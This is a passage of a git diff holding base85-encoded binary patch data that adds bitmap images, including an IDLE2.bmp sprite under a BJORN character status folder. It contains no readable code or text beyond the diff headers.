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 literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/BJORN/status/IDLE/IDLE2.bmp b/resources/default_config/characters/BJORN/status/IDLE/IDLE2.bmp new file mode 100644 index 0000000000000000000000000000000000000000..c495b5c3f7a59cb48b17678b119b6ab0e55240b6 GIT binary patch literal 18462 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 